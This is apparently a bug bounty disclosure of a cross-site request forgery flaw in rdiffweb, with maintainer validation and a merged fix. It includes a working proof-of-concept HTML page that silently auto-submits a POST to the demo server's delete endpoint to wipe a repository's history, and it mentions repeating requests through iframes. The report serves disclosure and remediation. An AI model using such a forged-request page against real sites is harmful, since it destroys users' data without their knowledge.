Cross-Site Request Forgery (CSRF) in ikus060/rdiffweb

Valid

Reported on

Sep 11th 2021


✍️ Description

Hello dear Rdiffweb team.

I found a CSRF vulnerability on following endpoint that attackers able to Delete repositories History with PoC.html

🕵️‍♂️ Proof of Concept

  1. user with right privileges should be logged in Firefox or Safari.

  2. Users go to a website that contain PoC.html

3.after visiting attacker's website a repo History with name test-encoding will be deleted. // PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://rdiffweb-demo.ikus-soft.com/delete/admin/testcases" method="POST">
      <input type="hidden" name="confirm" value="testcases" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Also attacker can send multiple request with help of Iframes.

Fix

I just want to suggest you to set a CSRF token for this form.

Ziding Zhang
3 months ago

Admin


Hey amammad, I've opened a PR on the repo asking for a security policy with email.

amammad
a month ago

Researcher


hey @maintainer can you validate this report too? thanks

Patrik Dufresne validated this vulnerability a month ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
Patrik Dufresne confirmed that a fix has been merged on 0eba3b a month ago
The fix bounty has been dropped